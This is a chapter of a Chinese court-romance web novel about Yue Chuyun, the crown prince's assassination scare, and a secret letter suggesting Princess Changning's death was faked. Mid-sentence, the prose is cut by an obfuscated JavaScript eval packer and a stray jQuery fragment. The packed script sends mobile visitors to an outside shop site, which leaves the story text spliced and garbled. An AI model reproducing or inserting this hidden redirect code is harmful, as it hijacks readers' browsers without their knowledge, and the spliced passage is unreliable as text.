“风神佑,是我误会了,还是你有什么难言之隐?为什么要限制我的自由,而且不让二叔和今朝出门。”
“出云……”风神佑手搭在她的肩上。
月出云后退一步,拔开他的手,却见对方的脸突然扭曲了一下。
月出云仔细观察他脸上的表情,有些苍白,还透着一丝痛苦,月出云狐疑问道:“风神佑,你怎么了,生病了吗?”
“出云,我不是生病。”风神佑苦笑,“我是遇到了刺客。”
“刺客?”月出云又惊又疑,“这里是中都城,天子脚下,你又是太子,什么人会刺杀你?”
风神佑的名声并不差。启国的朝臣与百姓,对这位太子殿下的评价基本上比较正面,他本人也并不滥杀无辜,没有残暴不仁的事迹或名声,作为国之储君,基本合格,什么样的人会去刺杀他呢?
“出云,你还记得桃源镇七夕节那天发生的事吗?”风神佑道:“那一日我遇到了刺客。”
月出云眉头紧皱,仔细思考,突然灵光一现,“你的意思是说这次杀你的刺客和那一次是同一批人。”
“没错。”
月出云道:“你是不是已经查到这些刺客的来历了?”
“他们是陆氏的余孽。”风神佑说:“幕后指使人便是陆镇野。”
陆镇野是一个纨绔子弟,倚红偎绿,喜欢美酒、游猎,偶尔也向漂亮的姑娘献殷勤,但也就仅此而已,他既没有什么特别大的野心,但也没有什么责任感,和他的父亲陆沉岳全然不同。
这是月出云对陆镇野最基本的印象。
陆氏一族覆灭,陆镇野不知所踪,原来竟蛰伏在暗处,伺机报仇。
“风神佑,你伤在什么地方?”月出云道:“好一些了吗?”
她这样问,便是不怪他了,风神佑心下安定,他笑道:“不过是皮外伤,已经快好了。”
“我能看看你的伤势吗?”
面对的这一双担忧的眼睛,风神佑怎么会拒绝。
他伤在肩部,如他所言只是皮外之伤,并且早已结痂。
“只是小伤,”风神佑将敞开的衣服穿了回去,系上腰带,“再过几日就好了,不会有事。”
“嗯。”
风神佑穿衣服的时候,月出云就转过身去,她的脸有些红,她第一次见到男性的身体,有些懊恼,方才怎么那么大胆,竟提出那样的要求。
“出云,这些日子,尽量不要出门,还有你的二叔和今朝,这是为了你们的安全。”风神佑道:“陆镇野为了复仇,会不择手段,只有把他抓住,我才能放得下心,那时侯,你想去什么地方都可以。”
月出云点头,暂时的不自由和安危之间,她还是知道怎么选择的。
“出云,”一双有力的手臂,从她的身后把她搂入怀抱,“对不起,让你受委屈了。”
月出云脸更红了,不知道是因为害羞,而是因为惭愧,风神佑担心她的安危,才限制了她的自由,而她竟然因此而怀疑他。
“风神佑,别这么说,”月出云转过身,抬头望着他,“我差点误会你了,我才应该向你道歉。”
今夜月色迷人,眼前男子容貌俊美,气质高贵,同样迷人。
他的面孔在她的双目中逐渐放大,月出云闭上眼睛,风神佑吻了她。
月出云心跳得很快,靠在风神佑怀中,听到他的心跳声,同样剧烈,原来他和她一样的紧张。
两人拥抱了一会,待到心跳渐渐平息,月出云道:“风神佑,我们既然不能出门,也没有人来拜访,二叔会很无聊,他非常想念顾淮,可不可以让顾淮有空的时候来陪一陪二叔。”
月出云的二叔有一大爱好便是下棋,可他棋艺差又爱反悔,没几个人爱和他下棋,偏偏顾淮就有本事让月清河心服口服,输了也不生气。
月出云满眼期待,风神佑只得答应。
顾淮来时,月出云刚刚学习礼仪结束,在卫姑姑等一群侍女的簇拥之下,两人在大厅见面。
顾淮和月出云面面相觑,这么多双眼睛盯着,感觉想说些什么也没法说。
毕竟没有人喜欢谈心聊天的时候,周围围着一圈人,至少月出云和顾淮都不习惯。
“顾淮,吃过饭了吗?”月出云以这一句作为开场白。
“吃过了。”
“吃的什么菜?”
“萝卜炖排骨,红烧鲫鱼,清炒青菜。”顾淮一板一眼地报菜名。
“荤素搭配,营养均衡。”月出云道:“比以前好多了,我记得以前你老是喜素不吃肉,又不是兔子,怎么能够这样挑食呢?”
顾淮笑了笑,“你说的是。”
“顾淮,我前日在宫中见到了萧廷渊。”月出云道:“你是他师兄,他来找过你吗?”
“刚见过。”顾淮道。
月出云还想向他打听萧廷渊的情况,卫姑姑提醒道:“月姑娘,见客的时辰已过,你该回房了。”
“这么快?”月出云道。
“已经一刻钟了。”卫姑姑道:“月姑娘,按照规矩,您现在的身份本来不应该见外客,这已经是太子殿下格外恩准。”
卫淑珍一点都不赞成这种行为,奈何太子殿下如此吩咐,她不得不听从。
殿下真的对他这位未过门的太子妃太纵容,作为还未成婚的太子妃,本应该待在太子东宫的内院或是皇家别院,闭门不见外客,学习规矩,等待成婚才是。
殿下给了月出云那么多例外,两人经常见面,亲亲我我也就罢了,毕竟是未婚夫妻。
可偏偏还允许月出云会见外男。
卫姑姑觉得她有责任和义务,一定要严格把控,监视清楚,不能让任何意外的情况发生。
顾淮和月出云会面时间结束,就去陪她二叔月清河下棋。
月出云回到自己房中,不一会儿,月今朝就来了。
“阿姐,看一看我给你带了什么?”月今朝从怀中掏出一封信,“这是顾大哥让我给你的,真是好险,差点就被卫姑姑给发现了,还好我机灵。”
信封上面一片空白,没有写寄信人。
月出云展开信件,字体遒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548503|204252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
劲有力,便认出这是萧廷渊的笔迹。
“见信安康,出云,两年未见,十分想念,不知你是否仍然记挂我们幼时的友谊?宫中再次见到你时,真是感慨万千,你与和从前一样,没有变化,而我却有了很大的改变,这种改变并不是外在的,而是心灵上的,以至于我格外的怀念当初我们还在启国皇宫的日子,那时虽然是寄人篱下,却有真诚的朋友陪在身边,内心的痛苦与苦闷有人可以诉说。”
月出云拊信叹息,看来萧廷渊这个漠北王当得有些辛苦,即使回到心心念念的故国,心愿达成,烦恼依旧不断。
月初云继续往下看。
“出云,恭喜你,你即将成为启国太子妃,启国太子风神俊秀,与长宁果然十分相似,他是长宁的孪生兄长,与长宁却大不相同,可我总觉得他与长宁有着千丝万缕的联系,并不是血缘上的,而是一种更为微妙的关系。”
月出云沉思,她也有这种感觉。
最后,萧庭渊写下了这么一句:“出云,你真的相信长宁已经死了吗?”
月出云双目紧紧的盯着最后一句话,这些个字在她脑中、眼里不停旋转。
这是什么意思?
长宁在漠北病死,萧廷渊亲自扶灵回启国,这是天下人都知道的,可现在,他却怀疑长宁的死亡,其中有什么内情吗?
月出云觉得其中肯定有什么关键的东西被她漏掉,她一定要去见见萧廷渊,弄清楚这是怎么一回事。
月出云提笔匆匆写了封回信,交到月今朝手中,“今朝,你一定要把它亲自交给顾淮,千万要小心,不要让卫姑姑给发现了。”
“没问道,包在我身上。”月今朝道:“一定把它交给顾大哥,你放心。”
月出云忧心忡忡,心事重重,只是勉强一笑。
她要如何才能够见到萧庭渊?月出云冥思苦想,如何才能够在这些严密的护卫之中偷溜出去?
月出云想不到方法,萧廷渊再次来信时给她出了一个主意。
月出云站在那间无人问津的小院子里,对着那道她经常翻阅的墙,守在墙边,待到待卫被引开,她迅速爬上楼梯,翻墙而出。
刚转过墙角,就见一辆马车等在路口,听到脚步声,马车的帘子掀开,萧廷渊的面容露了出来。
“出云,快上来!”萧廷渊伸出手掌。
月出云借着他手臂的力量上了车。
马车行驶起来。
月出云打量萧廷渊,两年的时间,他的面容褪去了青涩,显得更为成熟而稳重,举手头足隐有威仪。
月出云来不及与他叙旧,她只想知道长宁的事。
“萧廷渊,你信中所言到底何意?”月出云问:“长宁不是病逝的吗?”
“长宁从未生病,我与她一同回的启国。”萧廷渊道:“至于棺椁,里面是空的,根本没有人。”
“那葬礼是怎么一回事?”月出云道:“所有人都说她死了,我还去皇陵祭拜过她,还是陛下给我的通行令,自己的女儿有没有活在世上,做父亲的总不可能不知道吧。”